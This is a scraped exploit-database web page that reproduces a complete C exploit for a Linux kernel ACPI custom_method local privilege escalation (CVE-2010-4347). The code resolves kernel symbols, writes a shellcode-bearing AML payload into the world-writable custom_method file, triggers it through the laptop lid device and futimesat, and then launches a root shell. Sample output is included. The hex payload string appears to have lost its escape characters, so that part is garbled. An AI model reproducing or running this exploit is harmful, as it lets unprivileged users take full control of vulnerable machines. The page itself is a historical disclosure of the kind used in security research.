[local exploits] - Linux Kernel < 2.6.37-rc2 ACPI custom_
Posted on 18 December 2010
<!DOCTYPE html PUBLIC '-//W3C//DTD XHTML 1.0 Strict//EN' 'http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd'><html xmlns='http://www.w3.org/1999/xhtml'><head><meta http-equiv='Content-Type' content='text/html; charset=utf-8' /><meta http-equiv='Content-Language' content='en' /><title>Linux Kernel < 2.6.37-rc2 ACPI custom_method Privilege Escalation | Inj3ct0r - exploit database : vulnerability : 0day : shellcode</title><meta name='description' content='Linux Kernel < 2.6.37-rc2 ACPI custom_method Privilege Escalation by Jon Oberheide in local exploits | Inj3ct0r 1337 - exploit database : vulnerability : 0day : shellcode' /><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon' /><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss' /><script type='text/javascript'>var _gaq = _gaq || [];_gaq.push(["_setAccount", "UA-12725838-1"]);_gaq.push(["_setDomainName", "none"]);_gaq.push(["_setAllowLinker", true]);_gaq.push(["_trackPageview"]);(function(){var ga = document.createElement("script"); ga.type = "text/javascript"; ga.async = true;ga.src = ("https:" == document.location.protocol ? "https://ssl" : "http://www") + ".google-analytics.com/ga.js";var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(ga, s);})();</script></head><body><pre>================================================================= Linux Kernel < 2.6.37-rc2 ACPI custom_method Privilege Escalation ================================================================= /* * american-sign-language.c * * Linux Kernel < 2.6.37-rc2 ACPI custom_method Privilege Escalation * Jon Oberheide <jon@oberheide.org> * http://jon.oberheide.org * * Information: * * http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-4347 * * This custom_method file allows to inject custom ACPI methods into the ACPI * interpreter tables. This control file was introduced with world writeable * permissions in Linux Kernel 2.6.33. * * Usage: * * $ gcc american-sign-language.c -o american-sign-language * $ ./american-sign-language * [+] resolving required symbols... * [+] checking for world-writable custom_method... * [+] checking for an ACPI LID device... * [+] poisoning ACPI tables via custom_method... * [+] triggering ACPI payload via LID device... * [+] triggering exploit via futimesat... * [+] launching root shell! * # id * uid=0(root) gid=0(root) groups=0(root) * * Notes: * * This vuln allows us to write custom ACPI methods and load them into the * kernel as an unprivileged user. We compile some fancy ASL down to AML * that overrides the ACPI method used when the status of the LID device is * queried (eg. 'open' or 'closed' lid on a laptop). When the method is * triggered, it overlays an OperationRegion on the physical address where * sys_futimesat is located and overwrites the memory via the Store to * escalate privileges whenever sys_futimesat is called. * * The payload is 64-bit only and depends on the existence of a LID device * (eg. laptop), but the exploit will still tell you if you're vulnerable * regardless. If you don't know how to work around these limitations, you * probably shouldn't be running this in the first place. :-P * * Props to taviso, spender, kees, bliss, pipacs, twiz, stealth, and #brownpants */ #include <stdio.h> #include <stdlib.h> #include <stdint.h> #include <string.h> #include <unistd.h> #include <errno.h> #include <fcntl.h> #include <limits.h> #include <inttypes.h> #include <sys/types.h> #include <sys/stat.h> #include <sys/utsname.h> /* * The ASL payload looks like: * * DefinitionBlock ("lid.aml", "SSDT", 2, "", "", 0x00001001) { * Method (\_SB.LID._LID, 0, NotSerialized) { * OperationRegion (KMEM, SystemMemory, PHYADDR, 0x392) * Field(KMEM, AnyAcc, NoLock, Preserve) { * HACK, 0x392 * } * Store (Buffer () { * 0x55, 0x48, 0x89, 0xe5, 0x53, 0x48, 0x83, 0xec, * 0x08, 0x48, 0xc7, 0xc3, 0x24, 0x24, 0x24, 0x24, * 0x48, 0xc7, 0xc0, 0x24, 0x24, 0x24, 0x24, 0xbf, * 0x00, 0x00, 0x00, 0x00, 0xff, 0xd0, 0x48, 0x89, * 0xc7, 0xff, 0xd3, 0x48, 0xc7, 0xc0, 0xb7, 0xff, * 0xff, 0xff, 0x48, 0x83, 0xc4, 0x08, 0x5b, 0xc9, * 0xc3 }, HACK) * Return (One) * } * } * * Feel free to `iasl -d` this is you don't trust me! ;-) */ #define PAYLOAD_AML "x53x53x44x54x90x00x00x00x02x3ex00x00x00x00x00x00" "x00x00x00x00x00x00x00x00x01x10x00x00x49x4ex54x4c" "x21x05x09x20x14x4bx06x5cx2fx03x5fx53x42x5fx4cx49" "x44x5fx5fx4cx49x44x00x5bx80x4bx4dx45x4dx00x0cxe0" "x61x17x01x0bx92x03x5bx81x0cx4bx4dx45x4dx00x48x41" "x43x4bx42x39x70x11x34x0ax31x55x48x89xe5x53x48x83" "xecx08x48xc7xc3x24x24x24x24x48xc7xc0x24x24x24x24" "xbfx00x00x00x00xffxd0x48x89xc7xffxd3x48xc7xc0xb7" "xffxffxffx48x83xc4x08x5bxc9xc3x48x41x43x4bxa4x01" #define PAYLOAD_LEN 144 #define CUSTOM_METHOD "/sys/kernel/debug/acpi/custom_method" #define HEY_ITS_A_LID "/proc/acpi/button/lid/LID/state" unsigned long get_symbol(char *name) { FILE *f; unsigned long addr; char dummy; char sname[512]; struct utsname ver; int ret; int rep = 0; int oldstyle = 0; f = fopen("/proc/kallsyms", "r"); if (f == NULL) { f = fopen("/proc/ksyms", "r"); if (f == NULL) goto fallback; oldstyle = 1; } repeat: ret = 0; while(ret != EOF) { if (!oldstyle) ret = fscanf(f, "%p %c %s ", (void **)&addr, &dummy, sname); else { ret = fscanf(f, "%p %s ", (void **)&addr, sname); if (ret == 2) { char *p; if (strstr(sname, "_O/") || strstr(sname, "_S.")) continue; p = strrchr(sname, '_'); if (p > ((char *)sname + 5) && !strncmp(p - 3, "smp", 3)) { p = p - 4; while (p > (char *)sname && *(p - 1) == '_') p--; *p = ' '; } } } if (ret == 0) { fscanf(f, "%s ", sname); continue; } if (!strcmp(name, sname)) { fclose(f); return addr; } } fclose(f); if (rep) return 0; fallback: uname(&ver); if (strncmp(ver.release, "2.6", 3)) oldstyle = 1; sprintf(sname, "/boot/System.map-%s", ver.release); f = fopen(sname, "r"); if (f == NULL) return 0; rep = 1; goto repeat; } int main(int argc, char **argv) { int ret; FILE *fp; char buf[64]; struct stat sb; char payload[PAYLOAD_LEN] = PAYLOAD_AML; unsigned long sys_futimesat, prepare_kernel_cred, commit_creds; printf("[+] resolving required symbols... "); sys_futimesat = get_symbol("sys_futimesat"); if (!sys_futimesat) { printf("[-] sys_futimesat symbol not found, aborting! "); exit(1); } prepare_kernel_cred = get_symbol("prepare_kernel_cred"); if (!prepare_kernel_cred) { printf("[-] prepare_kernel_cred symbol not found, aborting! "); exit(1); } commit_creds = get_symbol("commit_creds"); if (!commit_creds) { printf("[-] commit_creds symbol not found, aborting! "); exit(1); } printf("[+] checking for world-writable custom_method... "); ret = stat(CUSTOM_METHOD, &sb); if (ret < 0) { printf("[-] custom_method not found, kernel is not vulnerable! "); exit(1); } if (!(sb.st_mode & S_IWOTH)) { printf("[-] custom_method not world-writable, kernel is not vulnerable! "); exit(1); } printf("[+] checking for an ACPI LID device... "); ret = stat(HEY_ITS_A_LID, &sb); if (ret < 0) { printf("[-] ACPI LID device not found, but kernel is still vulnerable! "); exit(1); } if (sizeof(sys_futimesat) != 8) { printf("[-] payload is 64-bit only, but kernel is still vulnerable! "); exit(1); } sys_futimesat &= ~0xffffffff80000000; memcpy(&payload[63], &sys_futimesat, 4); memcpy(&payload[101], &commit_creds, 4); memcpy(&payload[108], &prepare_kernel_cred, 4); printf("[+] poisoning ACPI tables via custom_method... "); fp = fopen(CUSTOM_METHOD, "w"); fwrite(payload, 1, sizeof(payload), fp); fclose(fp); printf("[+] triggering ACPI payload via LID device... "); fp = fopen(HEY_ITS_A_LID, "r"); fread(&buf, 1, sizeof(buf), fp); fclose(fp); printf("[+] triggering exploit via futimesat... "); ret = futimesat(0, "/tmp", NULL); if (ret != -1 || errno != EDOTDOT) { printf("[-] unexpected futimesat errno, exploit failed! "); exit(1); } if (getuid() != 0) { printf("[-] privileges not escalated, exploit failed! "); exit(1); } printf("[+] launching root shell! "); execl("/bin/sh", "/bin/sh", NULL); } # <a href='http://1337db.com/'>1337db.com</a> [2010-12-18]</pre></body></html>